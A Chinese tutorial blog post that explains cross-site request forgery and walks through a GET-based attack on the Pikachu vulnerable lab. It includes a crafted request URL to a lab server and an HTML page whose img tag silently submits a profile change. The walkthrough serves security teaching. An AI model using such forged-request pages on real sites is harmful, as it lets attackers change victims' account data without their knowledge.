CSRF:跨站请求伪造原理与实例

原理:

[1] 现有a和b两个网站,其中a网站为受害者常用网站,网站内存在csrf漏洞。b网站为攻击者网站,存在恶意代码

[2] 当受害者登录a网站并保存了该网站的cookie,在未退出登录的情况下,点击攻击者发送的链接,跳转到攻击者所创建的网站

[3] 进入攻击者网站时,触发网站中的恶意代码,使攻击者,伪装成受害者所在网站的账户,进行操作

GET类型实例[pikachu]:

实现更改用户信息

1.登录lili用户

2.编辑用户信息并提交

3.由于提交过后会直接跳转,此处使用bp,抓包查看提交参数:在提交时断网也可在url中看见

4.复制接口地址,并拼接url

http://121.40.54.224:81/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=lili&phonenum=18656565545&add=10ss&email=lili%40pikachu.com&submit=submit

5.编写前端脚本 

使用img标签,使加载时携带指定参数向接口发送请求

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <img src="http://121.40.54.224:81/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=lili&phonenum=18656565545&add=10ss&email=lili%40pikachu.com&submit=submit">
</body>
</html>

6.访问攻击者网站,实现攻击

<1.用户点击链接

<2.进入网站,触发图片加载,向接口发送请求,实现修改数据

用户正常使用与攻击者网页发送的请求,进行cookie的比较,其cookie值相同

相关推荐

  1. 请求伪造 CSRF 漏洞原理以及修复方法

    2024-07-20 08:58:06       45 阅读
  2. .Net CSRF 站点请求伪造漏洞

    2024-07-20 08:58:06       47 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-20 08:58:06       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-20 08:58:06       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-20 08:58:06       45 阅读
  4. Python语言-面向对象

    2024-07-20 08:58:06       55 阅读

热门阅读

  1. Linux中Vim常用指令的笔记

    2024-07-20 08:58:06       18 阅读
  2. docker

    2024-07-20 08:58:06       19 阅读
  3. OLAP分类

    2024-07-20 08:58:06       17 阅读
  4. MySQL 处理重复数据

    2024-07-20 08:58:06       19 阅读
  5. Eureka基本概念

    2024-07-20 08:58:06       16 阅读
  6. Ubuntu下使用notify-send

    2024-07-20 08:58:06       16 阅读
  7. 【22】Android高级知识之Window(三) -WMS

    2024-07-20 08:58:06       16 阅读
  8. HMACSHA256的原理和在C# 中的使用

    2024-07-20 08:58:06       19 阅读